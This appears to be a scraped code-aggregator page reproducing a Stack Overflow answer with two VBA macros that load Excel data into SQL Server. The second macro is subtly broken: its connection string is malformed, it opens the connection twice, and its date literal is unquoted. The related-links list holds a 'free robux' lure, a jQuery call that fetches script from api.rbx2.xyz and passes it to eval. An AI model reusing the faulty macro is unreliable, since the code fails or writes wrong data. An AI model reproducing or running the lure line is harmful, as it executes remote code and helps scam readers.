/SQL/Excel vba import data to sql server

Excel vba import data to sql server

Sub UpdateTable()

    Dim cnn As Object
    Dim wbkOpen As Workbook
    Dim objfl As Variant
    Dim rngName As Range
    Workbooks.Open "C:\your_path_here\Excel_to_SQL_Server.xls"
    Set wbkOpen = ActiveWorkbook
    Sheets("Sheet1").Select
    Set rngName = Range(Range("A1"), Range("A1").End(xlToLeft).End(xlDown))
    rngName.Name = "TempRange"
    strFileName = wbkOpen.FullName
    Set cnn = CreateObject("ADODB.Connection")
    cnn.Open "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & strFileName & ";Extended Properties=""Excel 12.0 Xml;HDR=Yes"";"
    nSQL = "INSERT INTO [odbc;Driver={SQL Server};Server=Server_Name;Database=[Your_Database].[dbo].[TBL]]"
    nJOIN = " SELECT * from [TempRange]"
    cnn.Execute nSQL & nJOIN
    MsgBox "Uploaded Successfully"
    wbkOpen.Close
    Set wbkOpen = Nothing

End Sub

Sub InsertInto()

'Declare some variables
Dim cnn As adodb.Connection
Dim cmd As adodb.Command
Dim strSQL As String

'Create a new Connection object
Set cnn = New adodb.Connection

'Set the connection string
cnn.ConnectionString = "Server_Name;Database=Your_Database;Trusted_Connection=True;"

'Create a new Command object
Set cmd = New adodb.Command

'Open the connection
cnn.Open
'Associate the command with the connection
cmd.ActiveConnection = cnn

'Tell the Command we are giving it a bit of SQL to run, not a stored procedure
cmd.CommandType = adCmdText

'Create the SQL
strSQL = "UPDATE TBL SET JOIN_DT = 2013-01-13 WHERE EMPID = 2"

'Pass the SQL to the Command object
cmd.CommandText = strSQL

'Open the Connection to the database
cnn.Open

'Execute the bit of SQL to update the database
cmd.Execute

'Close the connection again
cnn.Close

'Remove the objects
Set cmd = Nothing
Set cnn = Nothing

End Sub

Source: stackoverflow.com

Similar codes

0 vote221 views2 answers
Sql searching via key word
SQL
2 votes237 views1 answer
Sql percentage with % rounded down
SQL
0 vote192 views1 answer
Create duplicate table in postgresql
SQL
1 vote204 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
1 vote244 views1 answer
Add multiple row table pl sql
SQL
0 vote220 views1 answer
How to define a save method in ruby for sql databases
SQL
2 votes194 views1 answer
Latest record in sql
SQL
0 vote237 views1 answer
Into operator in sql
SQL
-1 vote219 views2 answers
An error occurred while installing mysql2 (0.3.20), and Bundler cannot continue.
SQL
0 vote203 views0 answer
SQL